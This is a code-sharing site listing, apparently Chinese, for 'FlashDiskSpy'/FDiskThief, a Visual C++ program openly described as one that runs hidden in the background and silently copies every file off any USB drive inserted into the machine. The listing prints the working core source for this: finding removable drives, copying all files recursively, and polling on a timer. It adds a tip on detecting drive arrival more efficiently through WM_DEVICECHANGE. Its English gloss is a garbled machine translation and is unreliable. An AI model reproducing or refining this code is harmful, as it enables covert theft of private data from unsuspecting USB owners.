FlashDiskSpy
所属分类:Windows编程
开发工具:Visual C++
文件大小:43KB
下载次数:13
上传日期:2007-01-10 17:10:27
上 传 者:
aeno
说明: 一个可以在后台偷取你闪盘里所有资料的小软件。
只要你的闪盘一插上,所有的东东都被悄悄拷走.代码开放,可以热键呼出.
(one can steal your background flash disk Lane all the information a small software. If you are stuck in a flash disk, all the Eastern residences have been quietly taking. Open code, hotkeys exhaled.)
文件列表:
FDiskThief\FDiskThief.rc (5376, 2005-08-14)
FDiskThief\Resource.h (964, 2005-08-14)
FDiskThief\FDiskThief.aps (36904, 2005-08-14)
FDiskThief\FDiskThiefDlg.cpp (6616, 2005-08-14)
FDiskThief\FDiskThief.opt (54784, 2005-08-14)
FDiskThief\desktop.ini (266, 2004-09-20)
FDiskThief\FDiskThief.clw (1438, 2005-08-14)
FDiskThief\FDiskThief.h (1368, 2005-08-13)
FDiskThief\FDiskThief.cpp (2119, 2005-08-13)
FDiskThief\FDiskThief.dsp (4292, 2005-08-14)
FDiskThief\FDiskThiefDlg.h (1712, 2005-08-14)
FDiskThief\StdAfx.h (1054, 2005-08-13)
FDiskThief\StdAfx.cpp (212, 2005-08-13)
FDiskThief\res\FDiskThief.rc2 (402, 2005-08-13)
FDiskThief\res\Thumbs.db (5120, 2005-08-13)
FDiskThief\res\run.ico (2238, 2005-08-13)
FDiskThief\res (0, 2005-08-13)
FDiskThief\FDiskThief.dsw (545, 2005-08-13)
FDiskThief\folder.htt (206, 2004-10-31)
FDiskThief\FDiskThief.ncb (58368, 2005-08-14)
FDiskThief\Debug (0, 2005-08-13)
FDiskThief\公文包数据库 (142, 2005-08-14)
FDiskThief\FDiskThief.plg (1009, 2005-08-14)
FDiskThief (0, 2005-08-13)
FDiskThief.exe (110676, 2005-08-14)
这是一个可以在后台偷取你闪盘里所有资料的小软件。
只要你的闪盘一插上,所有的东东都被悄悄拷走.代码开放,可以热键呼出.
一个可以在后台偷取你闪盘里所有资料的小软件。
只要你的闪盘一插上,所有的东东都被悄悄拷走.代码开放,可以热键呼出.
关键代码如下:
//-------查找U盘-------------------------------
CString CFDiskThiefDlg::FindFdisk()
{
CString strdir="";
for(char cc=‘A‘;cc<=‘Z‘;cc++)
{
strdir.Format("%c:",cc);
if(GetDriveType((LPCTSTR)strdir)==DRIVE_REMOVABLE)//移动盘
return strdir;
}
return strdir="";
}
//--------复制文件-----------------------------
void CFDiskThiefDlg::CopyFile(CString dir)
{
CFileFind tempFind;
CString tempFileFind;
tempFileFind.Format("%s\\*.*",dir);
BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
while(IsFinded)
{
IsFinded=(BOOL)tempFind.FindNextFile();
if(!tempFind.IsDots())
{
CString foundFileName;
foundFileName=tempFind.GetFileName();
if(tempFind.IsDirectory())
{
CString tempDir;
tempDir.Format("%s\\%s",dir,foundFileName);
CopyFile(tempDir);
}
else
{
CString tempFileName1,tempFileName2;
tempFileName1.Format("%s\\%s",dir,foundFileName);
tempFileName2.Format("%s\\%s",m_Path,foundFileName);
::CopyFile(tempFileName1,tempFileName2,FALSE);
}
}
}
tempFind.Close();
}
void CFDiskThiefDlg::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
if(IsRun)
{
m_NewFdisk=FindFdisk();
if(m_NewFdisk!=m_OldFdisk&&m_NewFdisk!="")
{
CopyFile(m_NewFdisk);
}
if(m_NewFdisk!="")
m_OldFdisk=m_NewFdisk;
else
m_OldFdisk="NULL";
}
CDialog::OnTimer(nIDEvent);
}
在有外设安装的时候,一般都会向所有窗口广播 WM_DEVICECHANGE 消息,
处理这个消息,安装时候在 DBT_DEVICEARRIVAL 中处理 DEV_BROADCAST_HDR, DEV_BROADCAST_VOLUME 就可以得到 U 盘
的盘符。 这样应该比用定时器效率要高不少。
近期下载者:
相关文件:
收藏者: